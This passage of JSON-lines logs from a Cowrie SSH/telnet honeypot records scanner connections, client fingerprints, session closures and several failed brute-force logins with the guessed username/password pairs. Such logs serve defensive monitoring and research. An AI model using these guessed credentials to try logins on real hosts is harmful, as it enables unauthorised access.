af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:30.387408Z","src_ip":"191.101.59.69","session":"33fcbf9147e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.89978742599487,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:31.025258Z","src_ip":"38.60.198.128","session":"a4fb463d5fb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.76714539527893,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:31.144616Z","src_ip":"38.60.198.128","session":"a23d85d0b196","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"internet","password":"test","message":"login attempt [internet/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:33.209942Z","src_ip":"191.101.59.69","session":"33fcbf9147e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51836,"dst_ip":"159.203.135.109","dst_port":23,"session":"93b1f8a371ed","protocol":"telnet","message":"New connection: 38.60.198.128:51836 (159.203.135.109:23) [session: 93b1f8a371ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:33.412691Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52336,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d9f885c712f","protocol":"telnet","message":"New connection: 38.60.198.128:52336 (159.203.135.109:23) [session: 2d9f885c712f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:33.953600Z"}
{"eventid":"cowrie.session.closed","duration":120.00171256065369,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:33.982184Z","src_ip":"179.96.162.117","session":"a78a0849f610","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.84036469459534,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:34.150796Z","src_ip":"38.60.198.128","session":"92738a3def59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:34.305812Z","src_ip":"191.101.59.69","session":"33fcbf9147e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53640,"dst_ip":"159.203.135.109","dst_port":23,"session":"fab69e47c6e4","protocol":"telnet","message":"New connection: 38.60.198.128:53640 (159.203.135.109:23) [session: fab69e47c6e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:35.003138Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57858,"dst_ip":"159.203.135.109","dst_port":23,"session":"70a1f7394469","protocol":"telnet","message":"New connection: 38.60.198.128:57858 (159.203.135.109:23) [session: 70a1f7394469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:38.092700Z"}
{"eventid":"cowrie.session.closed","duration":38.72412443161011,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:38.101878Z","src_ip":"38.60.198.128","session":"f73b29a5ce59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.91406583786011,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:38.540894Z","src_ip":"65.60.27.33","session":"b135bc2cb837","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34840,"dst_ip":"159.203.135.109","dst_port":23,"session":"de91165fef44","protocol":"telnet","message":"New connection: 38.60.198.128:34840 (159.203.135.109:23) [session: de91165fef44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:42.220798Z"}
{"eventid":"cowrie.session.closed","duration":13.546856880187988,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:42.724330Z","src_ip":"180.92.230.4","session":"ddfcde12664c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34280,"dst_ip":"159.203.135.109","dst_port":23,"session":"a57f5b3317fc","protocol":"telnet","message":"New connection: 38.60.198.128:34280 (159.203.135.109:23) [session: a57f5b3317fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:42.742305Z"}
{"eventid":"cowrie.session.closed","duration":56.80094003677368,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:42.978031Z","src_ip":"38.54.119.93","session":"514b30bd578a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":55418,"dst_ip":"159.203.135.109","dst_port":23,"session":"678ab5fc8cf2","protocol":"telnet","message":"New connection: 192.211.53.160:55418 (159.203.135.109:23) [session: 678ab5fc8cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:43.207308Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38686,"dst_ip":"159.203.135.109","dst_port":23,"session":"a285ede6daef","protocol":"telnet","message":"New connection: 38.60.198.128:38686 (159.203.135.109:23) [session: a285ede6daef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:45.339120Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39512,"dst_ip":"159.203.135.109","dst_port":23,"session":"6af2f8f0aafb","protocol":"telnet","message":"New connection: 38.60.198.128:39512 (159.203.135.109:23) [session: 6af2f8f0aafb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:46.025518Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":60652,"dst_ip":"10.17.0.5","dst_port":23,"session":"e598bcf8a29e","protocol":"telnet","message":"New connection: 45.81.23.16:60652 (10.17.0.5:23) [session: e598bcf8a29e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:46.875202Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.15.65.254","src_port":57238,"dst_ip":"10.17.0.5","dst_port":22,"session":"82551ffdbca2","protocol":"ssh","message":"New connection: 45.15.65.254:57238 (10.17.0.5:22) [session: 82551ffdbca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:47.892646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:47.897438Z","src_ip":"45.15.65.254","session":"82551ffdbca2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":56904,"dst_ip":"159.203.135.109","dst_port":23,"session":"224bf6299999","protocol":"telnet","message":"New connection: 192.211.53.160:56904 (159.203.135.109:23) [session: 224bf6299999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:47.911771Z"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:48.015733Z","src_ip":"45.15.65.254","session":"82551ffdbca2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:48.360310Z","src_ip":"45.15.65.254","session":"82551ffdbca2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":4021,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3c722945901","protocol":"ssh","message":"New connection: 115.68.208.117:4021 (10.17.0.5:22) [session: e3c722945901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:48.908587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:48.912741Z","src_ip":"115.68.208.117","session":"e3c722945901","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:49.124991Z","src_ip":"115.68.208.117","session":"e3c722945901","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":49442,"dst_ip":"159.203.135.109","dst_port":22,"session":"241a1dbc8a8c","protocol":"ssh","message":"New connection: 186.10.86.130:49442 (159.203.135.109:22) [session: 241a1dbc8a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:49.843524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:49.848348Z","src_ip":"186.10.86.130","session":"241a1dbc8a8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin234","message":"login attempt [root/admin234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:49.989295Z","src_ip":"115.68.208.117","session":"e3c722945901","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:49.993792Z","src_ip":"186.10.86.130","session":"241a1dbc8a8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@#$%","message":"login attempt [root/admin@#$%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:50.601504Z","src_ip":"186.10.86.130","session":"241a1dbc8a8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:51.208708Z","src_ip":"115.68.208.117","session":"e3c722945901","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:51.746813Z","src_ip":"186.10.86.130","session":"241a1dbc8a8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.45799708366394,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:52.333071Z","src_ip":"45.81.23.16","session":"e598bcf8a29e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45976,"dst_ip":"159.203.135.109","dst_port":23,"session":"85e84984b89f","protocol":"telnet","message":"New connection: 38.60.198.128:45976 (159.203.135.109:23) [session: 85e84984b89f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:52.456694Z"}
{"eventid":"cowrie.session.closed","duration":37.74406456947327,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:56.680399Z","src_ip":"38.60.198.128","session":"cf2946fb7966","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.340227842330933,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:56.796843Z","src_ip":"38.60.198.128","session":"85e84984b89f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":50822,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8f08ca4f6d2","protocol":"ssh","message":"New connection: 186.113.245.157:50822 (10.17.0.5:22) [session: c8f08ca4f6d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:01.104424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:01.110842Z","src_ip":"186.113.245.157","session":"c8f08ca4f6d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:01.203614Z","src_ip":"186.113.245.157","session":"c8f08ca4f6d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"password999","message":"login attempt [test/password999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:01.608924Z","src_ip":"186.113.245.157","session":"c8f08ca4f6d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58686,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dc8ef6dc1fd","protocol":"telnet","message":"New connection: 38.60.198.128:58686 (159.203.135.109:23) [session: 2dc8ef6dc1fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:02.469800Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:02.702769Z","src_ip":"186.113.245.157","session":"c8f08ca4f6d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.89.30.77","src_port":53068,"dst_ip":"159.203.135.109","dst_port":23,"session":"ceee73e87b39","protocol":"telnet","message":"New connection: 190.89.30.77:53068 (159.203.135.109:23) [session: ceee73e87b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:07.616652Z"}
{"eventid":"cowrie.session.closed","duration":38.06998324394226,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:08.003195Z","src_ip":"38.60.198.128","session":"127925211e56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60274,"dst_ip":"159.203.135.109","dst_port":23,"session":"2501d8a27fb8","protocol":"telnet","message":"New connection: 38.60.198.128:60274 (159.203.135.109:23) [session: 2501d8a27fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:09.638039Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41580,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b81296aacff","protocol":"telnet","message":"New connection: 38.60.198.128:41580 (159.203.135.109:23) [session: 1b81296aacff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:10.076349Z"}
{"eventid":"cowrie.session.closed","duration":51.629785776138306,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:10.728266Z","src_ip":"45.81.23.16","session":"cb5d593bb68c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42692,"dst_ip":"159.203.135.109","dst_port":23,"session":"4970c215724c","protocol":"telnet","message":"New connection: 38.60.198.128:42692 (159.203.135.109:23) [session: 4970c215724c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:10.904085Z"}
{"eventid":"cowrie.session.closed","duration":37.78826928138733,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:11.200869Z","src_ip":"38.60.198.128","session":"93b1f8a371ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.716187953948975,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:14.669705Z","src_ip":"38.60.198.128","session":"2d9f885c712f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":44512,"dst_ip":"159.203.135.109","dst_port":23,"session":"d738fc01ab71","protocol":"telnet","message":"New connection: 38.60.198.128:44512 (159.203.135.109:23) [session: d738fc01ab71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:18.014834Z"}
{"eventid":"cowrie.session.closed","duration":0.3562815189361572,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:18.370965Z","src_ip":"38.60.198.128","session":"d738fc01ab71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.058120250701904,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:19.265342Z","src_ip":"192.211.53.160","session":"678ab5fc8cf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.09628415107727,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:19.712827Z","src_ip":"190.89.30.77","session":"ceee73e87b39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.8.165","src_port":55540,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6baed447014","protocol":"ssh","message":"New connection: 95.215.8.165:55540 (10.17.0.5:22) [session: e6baed447014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:20.068748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:20.073308Z","src_ip":"95.215.8.165","session":"e6baed447014","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha25